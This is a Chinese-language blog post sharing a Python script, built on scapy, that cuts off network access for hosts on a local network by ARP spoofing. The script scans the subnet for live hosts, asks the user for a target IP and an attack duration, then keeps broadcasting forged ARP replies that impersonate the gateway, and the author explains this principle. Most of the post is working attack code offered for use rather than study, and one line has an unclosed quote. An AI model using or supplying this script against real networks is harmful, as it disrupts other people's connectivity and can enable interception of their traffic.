局域网内网络阻断小代码

思路

Python来实现
1.获得当前ip及网关–>route print
2.封装arp数据包,以太网的包结构形式来发起ping,得到存活主机列表
3.得到存活主机列表
4.选择需要攻击或阻网的ip
5.设置攻击时长
6.arp攻击(封包、发包)

代码实现

直接上代码吧,感觉没什么好说的。
这里代码是参考了好多个博客总结了一下代码。但是不太清楚原理,又但是可以实现网络阻断的功能

不行,还不能现在就上代码,还得说明一下虚拟机的网络配置模式。
这里需要用到桥接模式,直接改过来就好了。
菜鸡一开始不太会修改网络模式,结果改成桥接ping不通了,,真tm气人啊,搞了一中午,(我的午觉没有了)
也不知道怎么弄得,虚拟机防火墙给阻了,所以从物理机ping不通虚拟机,,,


6.28更新:好像知道怎么个原理了,是在本机发送数据报给pdst,告诉它自己就是psrc(网关),这样一直发,把原本正常的arp缓存给顶出去,所以自己成了目标靶机的网关了。


虚拟机桥接前后扫描到的局域网ip
局域网内网络阻断小代码_第1张图片

废话说完了,代码贴上来

import os
import time
from scapy.all import *

def scanSpoof():
    netCard = 'xxxxx # 攻击的网卡,我这里是用的无线的网卡
    cmdCode = 'route print' # 查看路由情况的cmd命令

    # 执行cmd命令,获得当前主机的ip和网关
    for line in os.popen(cmdCode):
        # 通过line获得ip和网关
        s = line.strip()
        # print(s)
        if s.startswith('0.0.0.0'):
            ipList = s.split()
            gw = ipList[2] # 网关
            ip = ipList[3] # 当前ip
            # print('ip: ' + ip)
            # print('gw: ' + gw)
            break
    print("使用的网卡是: %s" % netCard)
    print("本机上网ip是: %s" % ip)
    print("上网网关是: %s" % gw)


    # 封装一个arp数据包,符合以太网的包定义
    arpPk = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw+"/24")   # Ether用于构造数据包
    # srp 函数用于发送和接受第二层的数据包(Ethernet等)
    ansip, unansip = srp(arpPk, iface=netCard, timeout=2, verbose=0)
    print("扫描到%s台在线主机" % len(ansip))
    print("扫描到%s台不在线主机" % len(unansip))

    resIp = []
    for s, r in ansip:
        resIp.append([r.psrc, r.hwsrc]) # ip, mac
    resIp.sort();   # 去重+排序
    
    for ip, mac in resIp:
        print("%s--->%s" % (ip, mac))

    # 代理/抓包
    # 阻断网络
    targetIp = input("输入需要攻击的ip:")
    targetTime = int(input("输入需要攻击的时间(秒):"))
    # 实现arp攻击
    for i in range(targetTime*10):
        # 不太清楚这里为什么可以实现阻断网络的效果
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=targetIp, psrc=gw), verbose=0)
        time.sleep(0.1)
    print("对%s的arp攻击完成" % targetIp)

if __name__ == '__main__':
    scanSpoof()

好吧,我承认了,这是抄的铁三的代码

你可能感兴趣的:(网络相关,python)